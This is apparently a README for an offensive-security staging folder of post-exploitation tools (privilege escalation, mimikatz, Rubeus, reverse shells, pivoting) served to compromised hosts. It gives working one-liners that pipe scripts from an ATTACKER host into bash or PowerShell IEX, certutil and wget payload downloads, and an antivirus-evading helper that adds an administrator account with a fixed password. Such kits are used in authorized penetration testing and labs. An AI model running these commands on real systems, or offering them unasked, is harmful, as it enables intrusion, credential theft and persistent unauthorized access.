A single, flat staging directory of offensive-security tooling to serve onto a target host after gaining a foothold, during authorized penetration tests, red-team engagements, or hands-on certification labs.
The idea is simple: keep every post-exploitation tool you routinely need in one folder, serve it over HTTP or SMB from your attacking machine, and pull what you need onto the target with copy-paste one-liners. No hunting for tools in the middle of an engagement.
- Privilege escalation:
GodPotato.exe,PrintSpoofer64.exe,SeManageVolumeExploit.exe,RunasCs.exe,adduser.exe,win-privesc.ps1,PowerUp.ps1,SharpPrivEsc.exe - Enumeration / Active Directory:
winPEASx64.exe,PowerView.ps1,SharpHound.ps1/.exe,Invoke-ADEnum.ps1 - Credentials:
mimikatz.exe,Rubeus.exe - Shells / transfer / pivot:
nc.exe,Invoke-ConPtyShell.ps1,powercat.ps1,chisel.exe,ligolo-agent.exe,Invoke-SocksProxy.ps1,plink.exe,httpsrv.exe(static HTTP file server, no interpreter needed) - Bootstrap:
grab.ps1(pull everything in one shot)
- Enumeration:
linpeas.sh,pspy64,lin-privesc.sh - Shells / transfer / pivot:
chisel,ligolo-agent,ligolo-proxy,socat,php-rev-shell.php,httpsrv(static HTTP file server, no interpreter needed) - Bootstrap:
grab.sh(pull everything in one shot) precompiled/: statically-linked local privilege-escalation exploit binaries for targets that have no compiler (PwnKit, Baron Samedit, DirtyCow, DirtyPipe, and more). Seelinux/precompiled/README.md.
rev.go/bind.go— minimal Go reverse and bind shells. Cross-compile to a standalone Windows or Linux binary with no runtime dependencies. See the matching.readmefiles for compilation and usage.
From your attacking machine, inside this directory:
# HTTP (most universal)
python3 -m http.server 80
# SMB (convenient for Windows targets)
impacket-smbserver share "$(pwd)" -smb2support # then \\ATTACKER\share\fileGrab everything at once (recommended immediately after landing a shell):
# Linux
curl http://ATTACKER/linux/grab.sh | bash -s -- ATTACKER 80 /tmp/loot# Windows
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/windows/grab.ps1'); Grab -KaliIP ATTACKERThe grab scripts walk the HTTP directory listing and pull every file (including
linux/precompiled/), setting the executable bit on Linux. Add a new tool to the folder and grab
picks it up automatically on the next run, with no need to know filenames in advance.
One file at a time, if you would rather be selective:
powershell -c "IWR http://ATTACKER/windows/winPEASx64.exe -OutFile C:\Windows\Temp\p.exe"
certutil -urlcache -split -f http://ATTACKER/windows/nc.exe C:\Windows\Temp\nc.exewget http://ATTACKER/linux/linpeas.sh -O /tmp/lp.sh; chmod +x /tmp/lp.sh
curl http://ATTACKER/linux/chisel -o /tmp/chiselA clean mingw-compiled helper (not generated by msfvenom, so it avoids common antivirus signatures). When executed with SYSTEM or administrator privileges it creates a local account and adds it to the Administrators group:
username: hax password: P@ssw0rd123!
Confirm with net user hax, then use it via RDP, runas, or evil-winrm.
Most binaries here are upstream releases of well-known open-source projects, each distributed under its
own license: PEASS-ng (linpeas / winPEAS), ligolo-ng, chisel, socat, pspy, mimikatz, Rubeus and
SharpHound (GhostPack / BloodHound), PowerSploit (PowerUp / PowerView), GodPotato, PrintSpoofer,
RunasCs, ConPtyShell, powercat, and plink (PuTTY). Sources for the precompiled Linux exploits are
listed per-exploit in linux/precompiled/README.md. All credit goes to their respective authors.
These are dual-use offensive-security tools intended for authorized testing only: systems you own, engagements for which you have explicit written permission, or deliberately vulnerable practice labs. Using them against systems you do not own or are not authorized to test is illegal. You are solely responsible for staying within scope and the law. Remember to remove any tooling you copy onto a target once you are finished.